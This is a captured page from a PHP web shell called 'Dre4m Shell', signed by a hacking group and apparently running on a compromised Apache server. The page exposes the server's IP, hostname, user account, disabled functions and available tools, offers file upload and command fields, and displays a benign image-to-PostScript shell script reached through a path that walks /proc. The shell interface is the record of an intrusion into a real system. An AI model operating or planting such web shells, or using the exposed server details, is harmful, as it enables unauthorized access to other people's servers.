Dre4m Shell
Server IP : 85.214.239.14  /  Your IP : 3.147.68.18
Web Server : Apache/2.4.62 (Debian)
System : Linux h2886529.stratoserver.net 4.9.0 #1 SMP Tue Jan 9 19:45:01 MSK 2024 x86_64
User : www-data ( 33)
PHP Version : 7.4.18
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : OFF  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /proc/2/task/2/root/proc/3/root/proc/self/root/proc/2/cwd/proc/2/root/bin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /proc/2/task/2/root/proc/3/root/proc/self/root/proc/2/cwd/proc/2/root/bin/imagetops
#!/bin/sh

# extract file name and arguments from command line. File name
# is supposed to be the last one, if it doesn't exist, then it
# is assumed to be another argument.
FILE=
ARGS=
GRAYSCALE=
for arg in "$@"; do
	if [ "$arg" = "-gray" ]; then
		GRAYSCALE=1
	else
		ARGS="$ARGS $FILE"
		FILE=$arg;
	fi
done

# we're reading from STDIN, store it into a temporary file
temp=0
if test -z "$FILE" -o ! -f "$FILE" ; then
	ARGS="$ARGS $FILE"
	FILE=`mktemp --tmpdir imagetops.XXXXXX` || exit 1
	cat > "$FILE"
	temp=1
fi

# check the file mime type, and set the command correspondingly
cmd=
magic=`file -bi "$FILE"`
magicbase=`echo $magic | cut -f 1 -d "/"`
magictype=`echo $magic | cut -f 2- -d "/" | cut -f 1 -d ";"`
if test "$magicbase" != "image" ; then
	echo "Not an image"
	exit 1;
fi
case $magictype in
	jpeg)
		cmd="jpegtopnm"
		;;
	png|x-png)
		cmd="pngtopnm"
		;;
	bmp|x-bmp)
		cmd="bmptoppm"
		;;
	gif)
		cmd="giftopnm"
		;;
	tiff)
		cmd="tifftopnm"
		;;
	*)
		echo "Unsupported image type: $magic"
		exit 1
		;;

esac

# executing command
if [ "$GRAYSCALE" = "1" ]; then
	exec $cmd "$FILE" | ppmtopgm | pnmtops $ARGS
else
	exec $cmd "$FILE" | pnmtops $ARGS
fi

# removing temporary file
if test "$temp" = "1"; then
	rm -f "$FILE"
fi

Anon7 - 2022
AnonSec Team